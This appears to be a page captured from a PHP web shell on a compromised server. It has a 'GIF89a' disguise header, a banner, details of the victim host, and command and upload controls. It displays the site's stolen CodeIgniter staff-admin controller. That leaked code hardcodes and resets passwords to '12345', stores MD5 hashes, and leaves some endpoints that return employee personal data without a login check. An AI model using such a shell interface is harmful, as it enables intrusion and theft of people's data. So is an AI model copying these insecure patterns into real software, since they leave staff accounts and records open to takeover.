GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.188.91.223
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../web/../cas/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../web/../cas/application/controllers/admin/Staff.php
<?php

/**
 * Controller class for handling all requests related to roles.
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class Staff extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('admin/StaffManagement');
        $this->load->model('admin/LocationManagement');
        $this->load->model('admin/BranchManagement');
        $this->load->model('admin/DepartmentManagement');
        $this->load->model('admin/DesignationManagement');
        $this->load->model('admin/RoleManagement');
        $this->load->model('admin/DocumentManagement');
        $this->load->model('admin/DocumentInfoManagement');
        $this->load->model('admin/MenuManagement');
        $this->load->model('admin/IDProofManagement');
        $this->load->model('admin/AchievementManagement');
        $this->load->library('services/SMSServices');
        $this->load->library('util/SMSSender');
    }

    public function index() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['allEmployees'] = $this->StaffManagement->getAllEmployees()->result();
            $this->load->view('admin/staff/employees', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function addNewEmployee() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['states'] = $this->LocationManagement->getAllNonDeletedStates()->result();
            $viewData['branches'] = $this->BranchManagement->getAllNonDeletedBrances()->result();
            $viewData['desigCategories'] = $this->DesignationManagement->getActiveNonDeletedDesignationCategories()->result();
            $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result();
            $viewData['roles'] = $this->RoleManagement->getNonDeletedRoles()->result();
            $this->load->view('admin/staff/createEmployee', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewEmployeeInfo() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('empFirstName', 'Employee First Name', 'trim|required', array('required' => 'Employee First Name Can Not Be Blank.'));
            $this->form_validation->set_rules('empGender', 'Employee Gender', 'trim|required', array('required' => 'Please Select Employee Gender.'));
            $this->form_validation->set_rules('empMobile', 'Employee Mobile', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'Employee Mobile Is Required.'));
            $this->form_validation->set_rules('empEmail', 'Employee Email', 'trim|required|valid_email', array('required' => 'Employee Email Is Required.'));
            $this->form_validation->set_rules('empBranch', 'Employee Branch', 'trim|required', array('required' => 'Please Select Working Branch Of Employee.'));
            $this->form_validation->set_rules('empDept', 'Employee Department', 'trim|required', array('required' => 'Please Select Employee Department.'));
            $this->form_validation->set_rules('empSubDept', 'Employee Sub-Department', 'trim|required', array('required' => 'Please Select Employee Sub-Department.'));
            $this->form_validation->set_rules('empDesig', 'Employee Designation', 'trim|required', array('required' => 'Please Select Employee Designation.'));
            $this->form_validation->set_rules('empRole', 'Employee Role', 'trim|required', array('required' => 'Please Select Employee Role.'));
            $this->form_validation->set_rules('empSigninId', 'Employee SigninId', 'trim|required', array('required' => 'Employee Email Is Required.'));
            //$queryByEmpEmail = $this->StaffManagement->getProfileInfoByEmail(trim($this->input->post('empEmail')));
            //$empInfoByEmail = $queryByEmpEmail->result();
            //$queryByEmpMobile = $this->StaffManagement->getProfileInfoByMobile(trim($this->input->post('empMobile')));
            //$empInfoByMobile = $queryByEmpMobile->result();
            if (trim($this->input->post('empCodeId')) != "") {
                $queryByEmpCodeId = $this->StaffManagement->getEmployeeInfoByCodeId(trim($this->input->post('empCodeId')));
                $empInfoByCodeId = $queryByEmpCodeId->result();
            } else {
                $empInfoByCodeId = array();
            }
            $queryByEmpSigninId = $this->StaffManagement->getLoginDetailInfoBySigninId(trim($this->input->post('empSigninId')));
            $empInfoBySigninId = $queryByEmpSigninId->result();
            if ($this->form_validation->run() == FALSE) {
                $this->addNewEmployee();
            } /* else if (sizeof($empInfoByEmail)) {
              $this->session->set_flashdata('errorMessage', "An Employee With This Email (" . trim($this->input->post('empEmail')) . ") Already Exits. Please choose A Different Email.");
              $this->addNewEmployee();
              } else if (sizeof($empInfoByMobile)) {
              $this->session->set_flashdata('errorMessage', "An Employee With This Mobile (" . trim($this->input->post('empMobile')) . ") Already Exits. Please Try With Different Mobile.");
              $this->addNewEmployee();
              } */ else if (sizeof($empInfoByCodeId)) {
                $this->session->set_flashdata('errorMessage', "This Employee Id/Code (" . trim($this->input->post('empCodeId')) . ") Is Already Assigned To Some Other Employee. Please Enter Correct Employee Id/Code.");
                $this->addNewEmployee();
            } else if (sizeof($empInfoBySigninId)) {
                $this->session->set_flashdata('errorMessage', "This Signin Id (" . trim($this->input->post('empSigninId')) . ") Is Not Available. Please Choose A Different One.");
                $this->addNewEmployee();
            } else {
                $workingStatus = "";
                if ($this->input->post('empHasResigned') == "T") {
                    $workingStatus = "L";
                } else {
                    $workingStatus = ($this->input->post('empIsHead') == "T") ? "A" : "W";
                }
                //$password = substr(md5(time()), 0, 6);
                $password = '12345';
                $newEmployeeLoginDetailInfo = array(
                    'tld_signinid' => trim($this->input->post('empSigninId')),
                    'tld_password' => MD5($password),
                    'branch_id' => $this->input->post('empBranch'),
                    'tld_is_head' => ($this->input->post('empIsHead') == "" || $this->input->post('empIsHead') == NULL) ? 'F' : $this->input->post('empIsHead'),
                    'sub_dept_id' => $this->input->post('empSubDept'),
                    'tld_working_status' => $workingStatus,
                    'tld_created_on' => date("Y-m-d H:i:s"),
                    'tld_created_by' => $this->session->userdata("adminData")["smember_id"],
                    'tld_updated_on' => date("Y-m-d H:i:s"),
                    'tld_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                $newEmployeeProfileInfo = array(
                    'tprfl_firstname' => addslashes(trim($this->input->post('empFirstName'))),
                    'tprfl_lastname' => addslashes(trim($this->input->post('empLastName'))),
                    'tprfl_gender' => $this->input->post('empGender'),
                    'tprfl_comm_state' => ($this->input->post('empCommState') == "") ? 0 : $this->input->post('empCommState'),
                    'tprfl_comm_city' => ($this->input->post('empCommCity') == "") ? 0 : $this->input->post('empCommCity'),
                    'tprfl_comm_full_address' => addslashes(trim($this->input->post('empCommFullAddress'))),
                    'tprfl_perma_state' => ($this->input->post('empPermaState') == "") ? 0 : $this->input->post('empPermaState'),
                    'tprfl_perma_city' => ($this->input->post('empPermaCity') == "") ? 0 : $this->input->post('empPermaCity'),
                    'tprfl_perma_full_address' => addslashes(trim($this->input->post('empPermaFullAddress'))),
                    'tprfl_mobile_no' => trim($this->input->post('empMobile')),
                    'tprfl_tel_no' => trim($this->input->post('empTelNo')),
                    'tprfl_email' => $this->input->post('empEmail'),
                    'tprfl_dob' => ($this->input->post('empDOB') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOB')))),
                    'desig_id' => $this->input->post('empDesig'),
                    'tprfl_doj' => ($this->input->post('empDOJ') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOJ')))),
                    'tprfl_dor' => ($this->input->post('empDOR') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOR')))),
                    'tprfl_appointment_type' => trim($this->input->post('empAppType')),
                    'tprfl_created_on' => date("Y-m-d H:i:s"),
                    'tprfl_created_by' => $this->session->userdata("adminData")["smember_id"],
                    'tprfl_updated_on' => date("Y-m-d H:i:s"),
                    'tprfl_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                $newEmployeeStaffMemberInfo = array(
                    'role_id' => $this->input->post('empRole'),
                    'smember_code' => addslashes(trim($this->input->post('empCodeId'))),
                    'tprfl_id' => '',
                    'tld_id' => ''
                );
                $newEmployeeStaffPromotionInfo = array(
                    'smember_id' => '',
                    'desig_id' => $this->input->post('empDesig'),
                    'spm_doj' => ($this->input->post('empDOJ') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOJ')))),
                    'spm_dor' => ($this->input->post('empDOR') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOR')))),
                    'spm_added_on' => date("Y-m-d H:i:s"),
                    'spm_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'spm_updated_on' => date("Y-m-d H:i:s"),
                    'spm_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                $PANInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(1, "E")->result()[0];
                $newEmployeePANInfo = array(
                    'tipi_number' => trim($this->input->post('empPAN')),
                    'rel_id' => 0,
                    'tipsm_id' => $PANInfo->tipsm_id,
                    'tipi_added_on' => date("Y-m-d H:i:s"),
                    'tipi_updated_on' => date("Y-m-d H:i:s"),
                    'tipi_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'tipi_updated_by' => $this->session->userdata("adminData")["smember_id"],
                    'tipi_for' => ''
                );
                $aadharInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(2, "E")->result()[0];
                $newEmployeeAadharInfo = array(
                    'tipi_number' => trim($this->input->post('empAadhar')),
                    'rel_id' => 0,
                    'tipsm_id' => $aadharInfo->tipsm_id,
                    'tipi_added_on' => date("Y-m-d H:i:s"),
                    'tipi_updated_on' => date("Y-m-d H:i:s"),
                    'tipi_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'tipi_updated_by' => $this->session->userdata("adminData")["smember_id"],
                    'tipi_for' => ''
                );
                $docIdForProfilePic = $this->DocumentManagement->getDocumentByFlag("PP")->result()[0]->doc_id;
                $newEmployeeProfilePicInfo = array(
                    'tddi_doc_id' => $docIdForProfilePic,
                    'tddi_doc_file_path' => "/assets/admin/images/ext_users/default.png",
                    'tddi_code' => $docIdForProfilePic,
                    'tddi_user_type_flag' => 'E',
                    'tddi_mapping_id' => '',
                    'tddi_added_on' => date("Y-m-d H:i:s"),
                    'tddi_updated_on' => date("Y-m-d H:i:s"),
                    'tddi_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'tddi_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                $newEmployeeEducationalQualificationInfo = array(
                    'smember_id' => '',
                    'seqi_updated_on' => date("Y-m-d H:i:s")
                );
                $this->db->trans_start();
                $tld_id = $this->StaffManagement->createNewEmployeeLoginDetail($newEmployeeLoginDetailInfo);
                if ($tld_id) {
                    $tprfl_id = $this->StaffManagement->createNewEmployeeProfileDetail($newEmployeeProfileInfo);
                    if ($tprfl_id) {
                        $newEmployeeStaffMemberInfo['tprfl_id'] = $tprfl_id;
                        $newEmployeeStaffMemberInfo['tld_id'] = $tld_id;
                        $smember_id = $this->StaffManagement->createNewEmployeeStaffMemberDetail($newEmployeeStaffMemberInfo);
                        if ($smember_id) {
                            $newEmployeeProfilePicInfo['tddi_mapping_id'] = $smember_id;
                            $newEmployeeStaffPromotionInfo['smember_id'] = $smember_id;
                            $newEmployeeEducationalQualificationInfo['smember_id'] = $smember_id;
                            $newEmployeePANInfo['tipi_for'] = $smember_id;
                            $newEmployeeAadharInfo['tipi_for'] = $smember_id;
                            $newEmployeeIDProofs = array($newEmployeePANInfo, $newEmployeeAadharInfo);
                            if ($this->DocumentInfoManagement->createNewDocumentInfo($newEmployeeProfilePicInfo) && $this->StaffManagement->createNewPromotion($newEmployeeStaffPromotionInfo) && $this->IDProofManagement->createNewIDProofInfoMulti($newEmployeeIDProofs) && $this->StaffManagement->createNewEmployeeEducationalQualificationDetail($newEmployeeEducationalQualificationInfo)) {
                                $this->db->trans_complete();
                                //$this->smssender->sendSMS(trim($this->input->post('empMobile')), $this->smsservices->sendCredentials(trim($this->input->post('empFirstName')), trim($this->input->post('empSigninId')), $password));
                                $this->session->set_flashdata('successMessage', 'Employee Added Successfully.');
                                redirect("admin/Staff");
                            } else {
                                $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Employee Profile Image. Try Later.');
                                redirect(current_url());
                            }
                        } else {
                            $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Employee Staff Member Entry. Try Later.');
                            redirect(current_url());
                        }
                    } else {
                        $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Profile. Try Later.');
                        redirect(current_url());
                    }
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Login Credentials. Try Later.');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editEmployee($smember_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['states'] = $this->LocationManagement->getAllNonDeletedStates()->result();
            $viewData['branches'] = $this->BranchManagement->getAllNonDeletedBrances()->result();
            $viewData['desigCategories'] = $this->DesignationManagement->getActiveNonDeletedDesignationCategories()->result();
            $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result();
            $viewData['roles'] = $this->RoleManagement->getNonDeletedRoles()->result();
            $viewData['smember_info'] = $this->StaffManagement->getEmployeeInfoBy($smember_id)->result()[0];
            $PANInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(1, "E")->result()[0];
            $viewData['staffPANNumber'] = $this->IDProofManagement->getIdProofInfoBy($smember_id, $PANInfo->tipsm_id)->result()[0]->tipi_number;
            $viewData['staffPANInfoId'] = $this->IDProofManagement->getIdProofInfoBy($smember_id, $PANInfo->tipsm_id)->result()[0]->tipi_id;
            $aadharInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(2, "E")->result()[0];
            $viewData['staffAadharNumber'] = $this->IDProofManagement->getIdProofInfoBy($smember_id, $aadharInfo->tipsm_id)->result()[0]->tipi_number;
            $viewData['staffAadharInfoId'] = $this->IDProofManagement->getIdProofInfoBy($smember_id, $aadharInfo->tipsm_id)->result()[0]->tipi_id;
            $this->load->view('admin/staff/editEmployee', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateEmployeeInfo() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $smemberId = $this->input->post('smemberId');
            $tldId = $this->input->post('tldId');
            $tprflId = $this->input->post('tprflId');
            $this->form_validation->set_rules('empFirstName', 'Employee First Name', 'trim|required', array('required' => 'Employee First Name Can Not Be Blank.'));
            $this->form_validation->set_rules('empGender', 'Employee Gender', 'trim|required', array('required' => 'Please Select Employee Gender.'));
            $this->form_validation->set_rules('empMobile', 'Employee Mobile', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'Employee Mobile Is Required.'));
            $this->form_validation->set_rules('empEmail', 'Employee Email', 'trim|required|valid_email', array('required' => 'Employee Email Is Required.'));
            $this->form_validation->set_rules('empBranch', 'Employee Branch', 'trim|required', array('required' => 'Please Select Working Branch Of Employee.'));
            $this->form_validation->set_rules('empDept', 'Employee Department', 'trim|required', array('required' => 'Please Select Employee Department.'));
            $this->form_validation->set_rules('empSubDept', 'Employee Sub-Department', 'trim|required', array('required' => 'Please Select Employee Sub-Department.'));
            $this->form_validation->set_rules('empDesig', 'Employee Designation', 'trim|required', array('required' => 'Please Select Employee Designation.'));
            $this->form_validation->set_rules('empRole', 'Employee Role', 'trim|required', array('required' => 'Please Select Employee Role.'));
            $this->form_validation->set_rules('empSigninId', 'Employee SigninId', 'trim|required', array('required' => 'Employee Email Is Required.'));
            if ($this->form_validation->run() == FALSE) {
                $this->editEmployee($smemberId);
            } /* else if (!$this->StaffManagement->isEmployeeEmailSafeUpdate($tprflId, trim($this->input->post('empEmail')))) {
              $this->session->set_flashdata('errorMessage', "An Employee With This Email (" . trim($this->input->post('empEmail')) . ") Already Exits. Please choose A Different Email.");
              $this->editEmployee($smemberId);
              } else if (!$this->StaffManagement->isEmployeeMobileSafeUpdate($tprflId, trim($this->input->post('empMobile')))) {
              $this->session->set_flashdata('errorMessage', "An Employee With This Mobile (" . trim($this->input->post('empMobile')) . ") Already Exits. Please Try With Different Mobile.");
              $this->editEmployee($smemberId);
              } */ else if (!$this->StaffManagement->isEmployeeSigninIdSafeUpdate($tldId, trim($this->input->post('empSigninId')))) {
                $this->session->set_flashdata('errorMessage', "This Signin Id (" . trim($this->input->post('empSigninId')) . ") Is Not Available. Please Choose A Different One.");
                $this->editEmployee($smemberId);
            } else if (trim($this->input->post('empCodeId')) != "" && (!$this->StaffManagement->isEmployeeCodeIdSafeUpdate($tldId, trim($this->input->post('empCodeId'))))) {
                $this->session->set_flashdata('errorMessage', "This Employee Id/Code (" . trim($this->input->post('empCodeId')) . ") Is Already Assigned To Some Other Employee. Please Enter Correct Employee Id/Code.");
                $this->editEmployee($smemberId);
            } else {
                $workingStatus = "";
                if ($this->input->post('empHasResigned') == "T") {
                    $workingStatus = "L";
                } else {
                    $workingStatus = ($this->input->post('empIsHead') == "T") ? "A" : "W";
                }
                $employeeLoginDetailInfo = array(
                    'tld_id' => $tldId,
                    'tld_signinid' => trim($this->input->post('empSigninId')),
                    'branch_id' => $this->input->post('empBranch'),
                    'tld_is_head' => ($this->input->post('empIsHead') == "" || $this->input->post('empIsHead') == NULL) ? 'F' : $this->input->post('empIsHead'),
                    'sub_dept_id' => $this->input->post('empSubDept'),
                    'tld_working_status' => $workingStatus,
                    'tld_updated_on' => date("Y-m-d H:i:s"),
                    'tld_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                $employeeProfileInfo = array(
                    'tprfl_id' => $tprflId,
                    'tprfl_firstname' => addslashes(trim($this->input->post('empFirstName'))),
                    'tprfl_lastname' => addslashes(trim($this->input->post('empLastName'))),
                    'tprfl_gender' => $this->input->post('empGender'),
                    'tprfl_comm_state' => ($this->input->post('empCommState') == "") ? 0 : $this->input->post('empCommState'),
                    'tprfl_comm_city' => ($this->input->post('empCommCity') == "") ? 0 : $this->input->post('empCommCity'),
                    'tprfl_comm_full_address' => addslashes(trim($this->input->post('empCommFullAddress'))),
                    'tprfl_perma_state' => ($this->input->post('empPermaState') == "") ? 0 : $this->input->post('empPermaState'),
                    'tprfl_perma_city' => ($this->input->post('empPermaCity') == "") ? 0 : $this->input->post('empPermaCity'),
                    'tprfl_perma_full_address' => addslashes(trim($this->input->post('empPermaFullAddress'))),
                    'tprfl_mobile_no' => $this->input->post('empMobile'),
                    'tprfl_tel_no' => $this->input->post('empTelNo'),
                    'tprfl_email' => $this->input->post('empEmail'),
                    'tprfl_dob' => ($this->input->post('empDOB') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOB')))),
                    'desig_id' => $this->input->post('empDesig'),
                    'tprfl_doj' => ($this->input->post('empDOJ') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOJ')))),
                    'tprfl_dor' => ($this->input->post('empDOR') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOR')))),
                    'tprfl_appointment_type' => $this->input->post('empAppType'),
                    'tprfl_updated_on' => date("Y-m-d H:i:s"),
                    'tprfl_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                $employeeStaffMemberInfo = array(
                    'smember_id' => $smemberId,
                    'role_id' => $this->input->post('empRole'),
                    'tprfl_id' => $tprflId,
                    'tld_id' => $tldId,
                    'smember_code' => addslashes(trim($this->input->post('empCodeId')))
                );
                $employeePANInfo = array(
                    'tipi_id' => trim($this->input->post('empPANInfoId')),
                    'tipi_number' => trim($this->input->post('empPAN')),
                    'tipi_updated_on' => date("Y-m-d H:i:s"),
                    'tipi_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                $employeeAadharInfo = array(
                    'tipi_id' => trim($this->input->post('empAadharInfoId')),
                    'tipi_number' => trim($this->input->post('empAadhar')),
                    'tipi_updated_on' => date("Y-m-d H:i:s"),
                    'tipi_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                $employeeIdProofs = array($employeePANInfo, $employeeAadharInfo);
                $this->db->trans_start();
                if ($this->StaffManagement->updateLoginDetailsInfo($employeeLoginDetailInfo)) {
                    if ($this->StaffManagement->updateProfileInfo($employeeProfileInfo)) {
                        if ($this->StaffManagement->updateStaffMemberDetail($employeeStaffMemberInfo) && $this->IDProofManagement->updateIDProofInfoMulti($employeeIdProofs)) {
                            $this->db->trans_complete();
                            $this->session->set_flashdata('successMessage', 'Employee Info Updated Successfully.');
                            redirect("admin/Staff");
                        } else {
                            $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Employee Staff Member Entry. Try Later.');
                            redirect(current_url());
                        }
                    } else {
                        $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Profile. Try Later.');
                        redirect(current_url());
                    }
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Login Credentials. Try Later.');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleStaffLoginActiveStatus($tld_id, $toUpdateStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $staffLoginDetailUpdateData = array(
                'tld_id' => $tld_id,
                'tld_updated_on' => date("Y-m-d H:i:s"),
                'tld_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'tld_login_status' => $toUpdateStatus
            );
            if ($this->StaffManagement->updateLoginDetailsInfo($staffLoginDetailUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Login Status Updated Successfully.');
                redirect("admin/Staff");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Login Status. Try Later.');
                redirect("admin/Staff");
            }
        } else {
            redirect("admin/");
        }
    }

    public function resetStaffLoginPassword($tld_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $staffLoginDetailUpdateData = array(
                'tld_id' => $tld_id,
                'tld_updated_on' => date("Y-m-d H:i:s"),
                'tld_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'tld_password' => MD5("12345")
            );
            if ($this->StaffManagement->updateLoginDetailsInfo($staffLoginDetailUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Password Has Been Successfully Reset To 12345.');
                redirect("admin/Staff");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Login Status. Try Later.');
                redirect("admin/Staff");
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteStaff($tld_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $staffLoginDetailUpdateData = array(
                'tld_id' => $tld_id,
                'tld_updated_on' => date("Y-m-d H:i:s"),
                'tld_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'tld_delete_status' => 'T'
            );
            if ($this->StaffManagement->updateLoginDetailsInfo($staffLoginDetailUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Employee Deleted Successfully.');
                redirect("admin/Staff");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Employee. Try Later.');
                redirect("admin/Staff");
            }
        } else {
            redirect("admin/");
        }
    }

    public function viewEmployee($smember_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['employeeInfo'] = $this->StaffManagement->getEmployeeInfoBy($smember_id)->result()[0];
            $viewData['employeePromotion'] = $this->StaffManagement->getEmployeeAllPromotions($smember_id)->result();
            $viewData['employeeAchievement'] = $this->AchievementManagement->getAllAchievementsBy($smember_id, 'E', '')->result();
            $this->load->view('admin/staff/viewEmployee', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function getStaffFullInfo() {
        $smember_id = $_POST['smember_id'];
        $staff_info = $this->StaffManagement->getEmployeeInfoBy($smember_id)->result()[0];
        $loginActiveStatus = "";
        if ($staff_info->tld_delete_status == "F" && $staff_info->tld_login_status == "T" && $staff_info->tld_working_status != "L") {
            $loginActiveStatus = "<i class='fa fa-check' style='color:#00FF00;'></i> Active";
        } else if ($staff_info->tld_delete_status == "F" && $staff_info->tld_login_status == "F" && $staff_info->tld_working_status != "L") {
            $loginActiveStatus = "<i class='fa fa-ban' style='color:#FF0000;'></i> Blocked";
        } else if ($staff_info->tld_delete_status == "F" && $staff_info->tld_working_status == "L") {
            $loginActiveStatus = "<i class='fa fa-user-times' style='color:#FF0000;'></i> Employee Left Organization";
        } else {
            $loginActiveStatus = "<i class='fa fa-trash' style='color:#FF0000;'></i> Employee Deleted";
        }
        $workStatus = ($staff_info->tld_working_status == "L") ? "Employee Resigned On " . date('d-m-Y', strtotime($staff_info->tprfl_dor)) : (($staff_info->tld_delete_status == "T") ? "<i class='fa fa-trash' style='color:#FF0000;'></i> Deleted" : "<i class='fa fa-check-circle' style='color:#00FF00;'></i> Working");
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'smember_id' => $staff_info->smember_id,
            'staff_code_id' => ($staff_info->smember_code == "" || $staff_info->smember_code == NULL) ? "NA" : stripslashes($staff_info->smember_code),
            'staff_name' => stripslashes($staff_info->tprfl_firstname) . " " . stripslashes($staff_info->tprfl_lastname),
            'staff_gender' => ($staff_info->tprfl_gender == "M") ? "<i class='fa fa-male'></i>Male" : "<i class='fa fa-female'></i>Female",
            'staff_comm_city' => stripslashes($staff_info->commCityName),
            'staff_comm_state' => stripslashes($staff_info->commStateName),
            'staff_comm_address' => ($staff_info->tprfl_comm_full_address == "" || $staff_info->tprfl_comm_full_address == NULL) ? "NA" : stripslashes($staff_info->tprfl_comm_full_address),
            'staff_resid_city' => stripslashes($staff_info->residCityName),
            'staff_resid_state' => stripslashes($staff_info->residStateName),
            'staff_resid_address' => ($staff_info->tprfl_perma_full_address == "" || $staff_info->tprfl_perma_full_address == NULL) ? "NA" : stripslashes($staff_info->tprfl_perma_full_address),
            'staff_tel_no' => ($staff_info->tprfl_tel_no == "" || $staff_info->tprfl_tel_no == NULL) ? "NA" : $staff_info->tprfl_tel_no,
            'staff_email' => $staff_info->tprfl_email,
            'staff_mobile' => $staff_info->tprfl_mobile_no,
            'staff_dob' => date('d-m-Y', strtotime($staff_info->tprfl_dob)),
            'staff_designation' => stripslashes($staff_info->designatioName),
            'staff_role' => stripslashes($staff_info->role_name),
            'staff_login_created_by' => $staff_info->addedByAdmin . " At " . date('d-m-Y h:i:s A', strtotime($staff_info->tld_created_on)),
            'saff_profile_updated_on' => date('d-m-Y h:i:s A', strtotime($staff_info->tprfl_updated_on)) . " | Self Updated",
            'staff_security_info_updated_on' => date('d-m-Y h:i:s A', strtotime($staff_info->tld_updated_on)) . " | Self Updated",
            'staff_doj' => date('d-m-Y', strtotime($staff_info->tprfl_doj)),
            'staff_signinid' => $staff_info->tld_signinid,
            'staff_branch' => stripslashes($staff_info->branch_name),
            'staff_is_head' => ($staff_info->tld_is_head == "T") ? "Yes" : "No",
            'staff_have_logged_in' => ($staff_info->tld_is_first_login == "F") ? "Yes" : "No",
            'staff_sub_dept' => stripslashes($staff_info->sub_dept_name),
            'staff_dept' => stripslashes($staff_info->dept_name),
            'staff_work_status' => $workStatus,
            'staff_login_status' => $loginActiveStatus,
            'staff_photograph' => $staff_info->staff_photograph
        );
        echo json_encode($responseData);
    }

    public function getAllEmployeesByDesignationForDropDown() {
        $desig_id = $_POST['desig_id'];
        $query = $this->StaffManagement->getAllWorkingEmployeesUnderGivenDesignation($desig_id);
        //echo $this->db->last_query();
        $empList = $query->result();
        $options = "<option value=''>Select Employee</option>";
        for ($i = 0; $i < (sizeof($empList)); $i++) {
            $options .= "<option value=" . $empList[$i]->smember_id . ">" . stripslashes($empList[$i]->tprfl_firstname . " " . $empList[$i]->tprfl_lastname) . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'emp_list' => $options
        );
        echo json_encode($responseData);
    }

    public function getAllEmployeesBySubDepartmentForDropDown() {
        $sub_dept_id = $_POST['sub_dept_id'];
        $query = $this->StaffManagement->getAllWorkingEmployeesUnderGivenSubDepartment($sub_dept_id);
        $empList = $query->result();
        $options = "<option value=''>Select Employee</option>";
        for ($i = 0; $i < (sizeof($empList)); $i++) {
            $options .= "<option value=" . $empList[$i]->smember_id . ">" . stripslashes($empList[$i]->tprfl_firstname . " " . $empList[$i]->tprfl_lastname) . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'emp_list' => $options
        );
        echo json_encode($responseData);
    }

    public function getAllEmployeesBySubDepartmentForDropDownSelected() {
        $sub_dept_id = $_POST['sub_dept_id'];
        $smember_id = $_POST['smember_id'];
        $query = $this->StaffManagement->getAllWorkingEmployeesUnderGivenSubDepartment($sub_dept_id);
        $empList = $query->result();
        $options = "<option value=''>Select Employee</option>";
        for ($i = 0; $i < (sizeof($empList)); $i++) {
            $selected = ($empList[$i]->smember_id == $smember_id) ? "selected" : "";
            $options .= "<option value=" . $empList[$i]->smember_id . " " . $selected . ">" . stripslashes($empList[$i]->tprfl_firstname . " " . $empList[$i]->tprfl_lastname) . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'emp_list' => $options
        );
        echo json_encode($responseData);
    }

    public function getAllEmployeesBySubDepartmentAndDesignatinCategoryForDropDown() {
        $sub_dept_id = $_POST['sub_dept_id'];
        $desig_type = $_POST['dcm_id'];
        $query = $this->StaffManagement->getAllWorkingEmployeesUnderGivenSubDepartmentAndDesignationType($sub_dept_id, $desig_type);
        $empList = $query->result();
        $options = "<option value=''>Select Employee</option>";
        for ($i = 0; $i < (sizeof($empList)); $i++) {
            $options .= "<option value=" . $empList[$i]->smember_id . ">" . stripslashes($empList[$i]->tprfl_firstname . " " . $empList[$i]->tprfl_lastname) . "</option>";
        }
